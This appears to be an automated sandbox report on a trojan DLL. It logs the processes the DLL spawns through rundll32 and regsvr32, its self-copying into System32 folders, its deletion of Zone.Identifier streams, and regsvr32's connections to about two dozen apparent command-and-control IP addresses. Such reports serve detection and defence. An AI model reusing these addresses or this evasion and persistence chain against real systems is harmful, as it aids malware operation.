Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018001A8B0	4_2_000000018001A8B0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018000F8C4	4_2_000000018000F8C4
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00000001800108CC	4_2_00000001800108CC
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00000001800080CC	4_2_00000001800080CC
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00000001800018DC	4_2_00000001800018DC
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00000001800120E0	4_2_00000001800120E0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00000001800090F8	4_2_00000001800090F8
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00000001800048FC	4_2_00000001800048FC
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018001610C	4_2_000000018001610C
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180029910	4_2_0000000180029910
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180011924	4_2_0000000180011924
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018001B130	4_2_000000018001B130
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180006138	4_2_0000000180006138
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180028A00	4_2_0000000180028A00
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180015A00	4_2_0000000180015A00
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018001020C	4_2_000000018001020C
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180004214	4_2_0000000180004214
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180018A2C	4_2_0000000180018A2C
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018000BA2C	4_2_000000018000BA2C
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018001A244	4_2_000000018001A244
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018000B258	4_2_000000018000B258
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180010A70	4_2_0000000180010A70
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180003274	4_2_0000000180003274
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180008A8C	4_2_0000000180008A8C
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180014A90	4_2_0000000180014A90
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018000AAB8	4_2_000000018000AAB8
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180003ABC	4_2_0000000180003ABC
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018001EAC0	4_2_000000018001EAC0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00000001800092F0	4_2_00000001800092F0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018001E310	4_2_000000018001E310
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180013B14	4_2_0000000180013B14
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018000D33C	4_2_000000018000D33C
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180008378	4_2_0000000180008378
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180015384	4_2_0000000180015384
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180001B94	4_2_0000000180001B94
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018000DBA0	4_2_000000018000DBA0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180018BB8	4_2_0000000180018BB8
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00000001800033D4	4_2_00000001800033D4
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180009408	4_2_0000000180009408
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180007C08	4_2_0000000180007C08
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018001EC30	4_2_000000018001EC30
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018001C44C	4_2_000000018001C44C
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180025450	4_2_0000000180025450
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018001B460	4_2_000000018001B460
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180016C70	4_2_0000000180016C70
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018000D474	4_2_000000018000D474
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180002C78	4_2_0000000180002C78
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018001CC84	4_2_000000018001CC84
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180004C84	4_2_0000000180004C84
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018000AC94	4_2_000000018000AC94
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018000DCB8	4_2_000000018000DCB8
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00000001800294BC	4_2_00000001800294BC
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180015CC4	4_2_0000000180015CC4
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180013CD4	4_2_0000000180013CD4
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00000001800014D4	4_2_00000001800014D4
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180003CF4	4_2_0000000180003CF4
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180028500	4_2_0000000180028500
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180017518	4_2_0000000180017518
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180014D20	4_2_0000000180014D20
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018001AD28	4_2_000000018001AD28
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180007530	4_2_0000000180007530
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018001BDA0	4_2_000000018001BDA0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00000001800095BC	4_2_00000001800095BC
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00000001800115C8	4_2_00000001800115C8
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018001D5F0	4_2_000000018001D5F0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180018E08	4_2_0000000180018E08
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180003E0C	4_2_0000000180003E0C
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018000461C	4_2_000000018000461C
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180010E2C	4_2_0000000180010E2C
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018001662C	4_2_000000018001662C
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018000F65C	4_2_000000018000F65C
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018000A660	4_2_000000018000A660
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180024E8C	4_2_0000000180024E8C
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018000BE90	4_2_000000018000BE90
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180004EB8	4_2_0000000180004EB8
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018001A6BC	4_2_000000018001A6BC
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018000D6CC	4_2_000000018000D6CC
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00000001800196D4	4_2_00000001800196D4
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018000EF14	4_2_000000018000EF14
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180014F18	4_2_0000000180014F18
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018001E750	4_2_000000018001E750
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180004758	4_2_0000000180004758
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018000975C	4_2_000000018000975C
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018001D770	4_2_000000018001D770
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018001CF70	4_2_000000018001CF70
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018000F77C	4_2_000000018000F77C
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180008FB0	4_2_0000000180008FB0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018000FFB8	4_2_000000018000FFB8
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00000001800197CC	4_2_00000001800197CC
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180013FD0	4_2_0000000180013FD0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180002FD4	4_2_0000000180002FD4
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000001B9186F0000	4_2_000001B9186F0000

Source: C:\Windows\System32\rundll32.exe	Code function: String function: 00401F90 appears 87 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 00401F90 appears 87 times

Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: edgegdi.dll	Jump to behavior

Source: aOHLlvfakv.dll	Virustotal: Detection: 53%
Source: aOHLlvfakv.dll	ReversingLabs: Detection: 28%

Source: aOHLlvfakv.dll

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll64.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\loaddll64.exe loaddll64.exe "C:\Users\user\Desktop\aOHLlvfakv.dll"
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\aOHLlvfakv.dll",#1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\aOHLlvfakv.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\aOHLlvfakv.dll",#1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\aOHLlvfakv.dll,DllRegisterServer
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\HRYKmuIti\sEzrCiJYDniwfP.dll"
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\LwITFj\lcEQL.dll"
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\YDgQnzosNBGOURNE\pquwSRMRvDBcLA.dll"
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\aOHLlvfakv.dll,__CPPdebugHook
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\aOHLlvfakv.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\aOHLlvfakv.dll	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\aOHLlvfakv.dll,DllRegisterServer	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\aOHLlvfakv.dll,__CPPdebugHook	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\aOHLlvfakv.dll",#1	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\YDgQnzosNBGOURNE\pquwSRMRvDBcLA.dll"	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\HRYKmuIti\sEzrCiJYDniwfP.dll"	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\LwITFj\lcEQL.dll"	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: classification engine

Classification label: mal96.troj.evad.winDLL@18/2@0/49

Source: C:\Windows\System32\regsvr32.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_0000000180008BC8 Process32NextW,Process32FirstW,CreateToolhelp32Snapshot,FindCloseChangeNotification,

3_2_0000000180008BC8

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\aOHLlvfakv.dll",#1

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9020:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9020:120:WilError_03

Source: C:\Windows\System32\regsvr32.exe	Automated click: OK
Source: C:\Windows\System32\regsvr32.exe	Automated click: OK
Source: C:\Windows\System32\rundll32.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: aOHLlvfakv.dll

Static file information: File size 571122142 > 1048576

Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180006C9F pushad ; ret	3_2_0000000180006CAA
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800180D7 push ebp; retf	3_2_00000001800180D8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180006CDE push esi; iretd	3_2_0000000180006CDF
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000A0FC push ebp; iretd	3_2_000000018000A0FD
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180017D25 push 4D8BFFFFh; retf	3_2_0000000180017D2A
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180017D3C push ebp; retf	3_2_0000000180017D3D
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180017D4E push ebp; iretd	3_2_0000000180017D4F
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180009D51 push ebp; retf	3_2_0000000180009D5A
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180018157 push ebp; retf	3_2_0000000180018158
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180017987 push ebp; iretd	3_2_000000018001798F
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000A1D2 push ebp; iretd	3_2_000000018000A1D3
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000A26E push ebp; ret	3_2_000000018000A26F
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180009E8B push eax; retf	3_2_0000000180009E8E
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180017EAF push 458BCC5Ah; retf	3_2_0000000180017EBC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001C731 push esi; iretd	3_2_000000018001C732
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00000001800180D7 push ebp; retf	4_2_00000001800180D8
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018000A0FC push ebp; iretd	4_2_000000018000A0FD
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180018157 push ebp; retf	4_2_0000000180018158
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180017987 push ebp; iretd	4_2_000000018001798F
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018000A1D2 push ebp; iretd	4_2_000000018000A1D3
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018000A26E push ebp; ret	4_2_000000018000A26F
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180006C9F pushad ; ret	4_2_0000000180006CAA
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180006CDE push esi; iretd	4_2_0000000180006CDF
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180017D25 push 4D8BFFFFh; retf	4_2_0000000180017D2A
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180017D3C push ebp; retf	4_2_0000000180017D3D
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180017D4E push ebp; iretd	4_2_0000000180017D4F
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180009D51 push ebp; retf	4_2_0000000180009D5A
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180009E8B push eax; retf	4_2_0000000180009E8E
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180017EAF push 458BCC5Ah; retf	4_2_0000000180017EBC
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018001C731 push esi; iretd	4_2_000000018001C732

Source: aOHLlvfakv.dll	Static PE information: section name: .rodata
Source: aOHLlvfakv.dll	Static PE information: section name: .xdata

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_00401C80 LoadLibraryW,GetProcAddress,ExitProcess,

3_2_00401C80

Source: C:\Windows\System32\loaddll64.exe

Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\aOHLlvfakv.dll

Source: C:\Windows\System32\rundll32.exe

PE file moved: C:\Windows\System32\HRYKmuIti\sEzrCiJYDniwfP.dll

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Windows\system32\YDgQnzosNBGOURNE\pquwSRMRvDBcLA.dll:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\system32\HRYKmuIti\sEzrCiJYDniwfP.dll:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\system32\LwITFj\lcEQL.dll:Zone.Identifier read attributes \| delete	Jump to behavior

Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe TID: 6532

Thread sleep time: -690000s >= -30000s

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\regsvr32.exe	API coverage: 6.1 %
Source: C:\Windows\System32\rundll32.exe	API coverage: 6.1 %

Source: C:\Windows\System32\regsvr32.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node			graph_3-30019
Source: C:\Windows\System32\rundll32.exe	API call chain: ExitProcess graph end node			graph_4-30021

Source: C:\Windows\System32\regsvr32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: regsvr32.exe, 00000007.00000003.1512104522.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1236480763.00000000009CC000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1236480763.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1512104522.00000000009CC000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1513381084.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.3282958811.00000000009CC000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1502020156.00000000009CC000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1502020156.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1238112714.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1513381084.00000000009CC000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.3284094347.0000000000A19000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_00401C80 LoadLibraryW,GetProcAddress,ExitProcess,

3_2_00401C80

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_00448C90 TlsGetValue,GetProcessHeap,TlsSetValue,TlsGetValue,

3_2_00448C90

Source: C:\Windows\System32\loaddll64.exe

Process queried: DebugPort

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\regsvr32.exe	Network Connect: 159.65.88.10 8080	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 172.105.226.75 8080	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 164.90.222.65 443	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 186.194.240.217 443	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 103.132.242.26 8080	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 104.168.155.143 8080	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 159.89.202.34 443	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 91.121.146.47 8080	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 91.207.28.33 8080	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 103.43.75.120 443	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 72.15.201.15 8080	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 82.223.21.224 8080	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 173.212.193.249 8080	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 187.63.160.88 80	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 66.228.32.31 7080	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 185.4.135.165 8080	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 183.111.227.137 8080	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 95.217.221.146 8080	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 164.68.99.3 8080	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 182.162.143.56 443	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 139.59.126.41 443	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 167.172.253.162 8080	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 1.234.2.232 8080	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 167.172.199.165 8080	Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\aOHLlvfakv.dll",#1

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Code function: EnterCriticalSection,GetLocaleInfoA,LeaveCriticalSection,EnterCriticalSection,IsValidLocale,SetThreadLocale,LeaveCriticalSection,LeaveCriticalSection,SetLastError,SetLastError,LeaveCriticalSection,LeaveCriticalSection,GetCPInfo,IsValidLocale,SetThreadLocale,SetLastError,SetLastError,	3_2_0043F160
Source: C:\Windows\System32\regsvr32.exe	Code function: GetLocaleInfoA,GetLocaleInfoA,SetLastError,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,SetLastError,GetLocaleInfoA,SetLastError,GetLocaleInfoA,SetLastError,GetLocaleInfoA,SetLastError,GetLocaleInfoA,SetLastError,GetLocaleInfoA,SetLastError,GetLocaleInfoA,SetLastError,	3_2_00440BD0
Source: C:\Windows\System32\regsvr32.exe	Code function: GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,SetLastError,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,SetLastError,	3_2_00441BA0
Source: C:\Windows\System32\regsvr32.exe	Code function: GetLocaleInfoA,	3_2_0043FC60
Source: C:\Windows\System32\regsvr32.exe	Code function: GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,SetLastError,	3_2_0043FDE0
Source: C:\Windows\System32\regsvr32.exe	Code function: GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,SetLastError,GetLocaleInfoA,SetLastError,GetLocaleInfoA,SetLastError,GetLocaleInfoA,SetLastError,GetLocaleInfoA,SetLastError,GetLocaleInfoA,SetLastError,GetLocaleInfoA,SetLastError,GetLocaleInfoA,SetLastError,GetLocaleInfoA,SetLastError,GetLocaleInfoA,SetLastError,	3_2_00440610
